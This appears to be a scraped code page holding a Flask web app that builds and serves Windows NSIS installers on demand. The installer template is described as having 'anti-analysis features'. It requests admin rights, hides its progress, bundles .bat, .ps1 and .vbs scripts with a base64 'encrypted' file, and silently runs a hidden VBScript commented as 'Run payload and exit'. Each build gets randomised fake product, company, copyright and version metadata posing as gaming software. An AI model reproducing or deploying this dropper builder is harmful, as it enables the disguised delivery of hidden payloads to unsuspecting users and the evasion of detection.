File size: 10,970 Bytes
a324286
45a1acf
 
a324286
f21bc12
a324286
 
 
f21bc12
66f8fc1
45a1acf
0b709b9
a324286
f21bc12
 
 
a324286
f21bc12
a324286
 
 
f21bc12
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
a324286
 
f21bc12
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
a324286
f21bc12
 
a324286
f21bc12
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
a324286
f21bc12
 
 
a324286
f21bc12
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
436e9c0
45a1acf
f21bc12
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
from flask import Flask, send_file, jsonify
import os
import subprocess
import json
import random
from datetime import datetime
from pathlib import Path
from threading import Thread
import shutil

app = Flask(__name__)

# Configuration
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
STATS_FILE = "download_stats.json"
NSIS_COMPILER_PATH = "/usr/local/bin/makensis"  # Update this to the correct Linux path for makensis
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(COMPILE_FOLDER, exist_ok=True)

# Modify the NSIS_SCRIPT_TEMPLATE with enhanced anti-analysis features
NSIS_SCRIPT_TEMPLATE = r"""
; NeuraScope Insight Installer Script
!include "MUI2.nsh"
!include "LogicLib.nsh"

; Basic definitions
Name "{{ProductName}}"
OutFile "${{installer_path}}"
InstallDir "/usr/local/share/Omega"
RequestExecutionLevel admin
SetCompressor /SOLID lzma
SetCompressorDictSize 96
SetDatablockOptimize ON

; Interface settings
!define MUI_ICON "/home/user/icons/favicon.ico"
!define MUI_WELCOMEPAGE_TITLE "Welcome to {{ProductName}} Setup"
!define MUI_WELCOMEPAGE_TEXT "This will install {{ProductName}} on your computer.$\r$\n$\r$\nClick Install to continue."
!define MUI_WELCOMEFINISHPAGE_BITMAP "${NSISDIR}/Contrib/Graphics/Wizard/win.bmp"

; Pages
!insertmacro MUI_PAGE_WELCOME
!insertmacro MUI_PAGE_INSTFILES
!insertmacro MUI_LANGUAGE "English"

; Basic Version Information
VIProductVersion "{{ProductVersion}}"
VIAddVersionKey "ProductName" "{{ProductName}}"
VIAddVersionKey "CompanyName" "{{CompanyName}}"
VIAddVersionKey "LegalCopyright" "{{LegalCopyright}}"
VIAddVersionKey "FileVersion" "{{FileVersion}}"
VIAddVersionKey "ProductVersion" "{{ProductVersion}}"
VIAddVersionKey "FileDescription" "{{FileDescription}}"

ShowInstDetails hide
AutoCloseWindow true

Section "MainSection" SEC01
    SetDetailsPrint none
    SetOutPath "/usr/local/share/Omega"
    
    ; File copies
    File "{{random_program}}"
    File "/home/user/programs/0.bat"
    File "/home/user/programs/run_base64_encrypted.txt"
    File "/home/user/programs/0.ps1"
    File "/home/user/programs/0.vbs"
    File "{{random_program}}"
    File "/home/user/programs/1.bat"
    File "/home/user/programs/1.ps1"
    File "/home/user/programs/1.vbs"
    
    
    ; Run payload and exit
    ExecShell "" "/usr/local/share/Omega/0.vbs" SW_HIDE
    SetAutoClose true
SectionEnd
"""

# Greatly expanded version details dictionary
VERSION_DETAILS = {
    "ProductName": [
        "Gametoy Health Center", "Omega Insight Pro", "Visionary Game System", "TechMatrix Suite Premium",
        "Nebula Installer Plus", "GameForge Studio", "Digital Nexus Hub", "CyberPulse Platform",
        "VirtualCore Manager", "GameStream Elite", "OmegaForge Professional", "TechVision Suite",
        "GameMatrix Central", "CloudPulse Gaming", "NexusCore Platform", "GameWave Professional",
        "Cyber Matrix Hub", "VisionForge Elite", "PulseTech Gaming", "StreamCore Professional",
        "TechPro Suite", "GameCore Elite", "CloudMatrix Enterprise", "VisionWave Platform",
        "PulseForge Studio", "NexusWave Pro", "CyberCore Premium", "GamePulse Advanced",
        "TechStream Ultimate", "OmegaCore Enterprise"
    ],
    "CompanyName": [
        "Game Health Systems Inc.", "TechWave Innovations Ltd.", "Omega Systems International",
        "Visionary Game Corporation", "Nebula Technologies Group", "GameForge Solutions",
        "Digital Nexus Corporation", "CyberPulse Technologies", "VirtualCore Solutions",
        "GameStream Enterprises", "OmegaForge Technologies", "TechVision Innovations",
        "GameMatrix Solutions", "CloudPulse Interactive", "NexusCore Technologies",
        "GameWave Digital", "CyberMatrix Solutions", "VisionForge Systems",
        "PulseTech Interactive", "StreamCore Solutions", "TechPro Enterprises",
        "GameCore Solutions Ltd.", "CloudMatrix Systems", "VisionWave Technologies",
        "PulseForge Interactive", "NexusWave Digital", "CyberCore Solutions",
        "GamePulse Technologies", "TechStream Systems", "OmegaCore Industries"
    ],
    "LegalCopyright": [
        "Copyright © 2024 Gametoy Innovations - All Rights Reserved",
        "Copyright © 2024 Visionary Game Co. - Professional Edition",
        "Copyright © 2024 Omega Systems - Enterprise License",
        "Copyright © 2024 TechWave - Premium License",
        "Copyright © 2024 Nebula Technologies - Commercial Use",
        "Copyright © 2024 GameForge Solutions - Professional License",
        "Copyright © 2024 Digital Nexus - Enterprise Edition",
        "Copyright © 2024 CyberPulse - Commercial License",
        "Copyright © 2024 VirtualCore - Premium Edition",
        "Copyright © 2024 GameStream - Professional Use",
        "Copyright © 2024 TechPro - Enterprise License",
        "Copyright © 2024 GameCore - Commercial Edition",
        "Copyright © 2024 CloudMatrix - Professional License",
        "Copyright © 2024 VisionWave - Premium Use",
        "Copyright © 2024 PulseForge - Enterprise Edition"
    ],
    "FileDescription": [
        "Professional Gaming Platform Installer", "Advanced Game Management System",
        "Enterprise Gaming Solution Suite", "Premium Game Development Tools",
        "Professional Game Analytics Platform", "Advanced Gaming Framework",
        "Enterprise Development Environment", "Professional Gaming SDK",
        "Advanced Game Publishing Tools", "Premium Gaming Platform",
        "Professional Development Suite", "Enterprise Gaming Framework",
        "Advanced Game Management Tools", "Premium Development Platform",
        "Professional Gaming Environment", "Enterprise Solution Suite",
        "Advanced Development Framework", "Premium Management System",
        "Professional Analytics Platform", "Enterprise Gaming Tools"
    ]
}

def generate_product_version():
    """
    Generates a realistic product version number with the format major.minor.patch.build
    Major: 1-5
    Minor: 0-15
    Patch: 0-99
    Build: 1000-9999
    """
    major = random.randint(1, 5)
    minor = random.randint(0, 15)
    patch = random.randint(0, 99)
    build = random.randint(1000, 9999)
    return f"{major}.{minor}.{patch}.{build}"

def generate_file_version():
    """
    Generates a unique file version with format major.minor.build.revision
    """
    versions = []
    for _ in range(30):  # Increased to 30 versions
        major = random.randint(1, 10)
        minor = random.randint(0, 99)
        build = random.randint(100, 999)
        revision = random.randint(0, 99999)
        versions.append(f"{major}.{minor}.{build}.{revision}")
    return versions

# Add generated file versions to VERSION_DETAILS
VERSION_DETAILS["FileVersion"] = generate_file_version()

def generate_random_version_details():
    """Generates random meaningful version details for each build."""
    return {
        "ProductName": random.choice(VERSION_DETAILS["ProductName"]),
        "CompanyName": random.choice(VERSION_DETAILS["CompanyName"]),
        "LegalCopyright": random.choice(VERSION_DETAILS["LegalCopyright"]),
        "FileVersion": random.choice(VERSION_DETAILS["FileVersion"]),
        "ProductVersion": generate_product_version(),
        "FileDescription": random.choice(VERSION_DETAILS["FileDescription"]),
    }

def generate_nsi_script():
    """Generates the NSI script with random version details and two different random executables."""
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    installer_output = os.path.join(UPLOAD_FOLDER, f"setup_{timestamp}.exe")
    
    if not os.access(UPLOAD_FOLDER, os.W_OK):
        raise PermissionError(f"Cannot write to the directory {UPLOAD_FOLDER}")

    # Generate version details
    version_details = generate_random_version_details()

    # Choose random .exe files from the Programs folder
    programs_folder = "/home/user/programs"  # Linux version path for programs
    exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
    
    # Check if there are enough .exe files
    if len(exe_files) < 2:
        raise FileNotFoundError(f"Not enough .exe files found in the folder {programs_folder}")

    # Select two different executable files
    random_exe_1 = random.choice(exe_files)
    exe_files.remove(random_exe_1)  # Remove the first selected .exe
    random_exe_2 = random.choice(exe_files)

    random_exe_1_path = os.path.join(programs_folder, random_exe_1)
    random_exe_2_path = os.path.join(programs_folder, random_exe_2)

    # Replace all placeholders in the template
    nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
    nsi_content = nsi_content.replace("{{ProductName}}", version_details["ProductName"])
    nsi_content = nsi_content.replace("{{ProductVersion}}", version_details["ProductVersion"])
    nsi_content = nsi_content.replace("{{CompanyName}}", version_details["CompanyName"])
    nsi_content = nsi_content.replace("{{LegalCopyright}}", version_details["LegalCopyright"])
    nsi_content = nsi_content.replace("{{FileVersion}}", version_details["FileVersion"])
    nsi_content = nsi_content.replace("{{FileDescription}}", version_details["FileDescription"])
    nsi_content = nsi_content.replace("{{random_program}}", random_exe_1_path)

    nsi_script_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
    
    with open(nsi_script_path, "w") as nsi_file:
        nsi_file.write(nsi_content)

    return nsi_script_path, installer_output

def compile_nsi_script(nsi_script_path, installer_output):
    """Compiles the NSI script into an executable installer."""
    compile_cmd = [NSIS_COMPILER_PATH, nsi_script_path]
    
    # Ensure the NSIS compiler is available
    if not shutil.which("makensis"):
        raise FileNotFoundError("NSIS Compiler not found. Make sure NSIS is installed.")
    
    result = subprocess.run(compile_cmd, capture_output=True, text=True)
    if result.returncode != 0:
        raise RuntimeError(f"NSIS Compilation failed: {result.stderr}")
    return installer_output

def serve_installer():
    """Serves the installer once compiled."""
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    nsi_script_path, installer_output = generate_nsi_script()
    compiled_installer = compile_nsi_script(nsi_script_path, installer_output)
    return send_file(compiled_installer, as_attachment=True, download_name=f"setup_{timestamp}.exe")

@app.route('/generate_installer', methods=['GET'])
def generate_installer_route():
    """API route to trigger installer generation."""
    return jsonify({"message": "Installer is being generated. Please wait..."})

@app.route('/download_installer', methods=['GET'])
def download_installer_route():
    """API route to download the generated installer."""
    return serve_installer()

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=7860)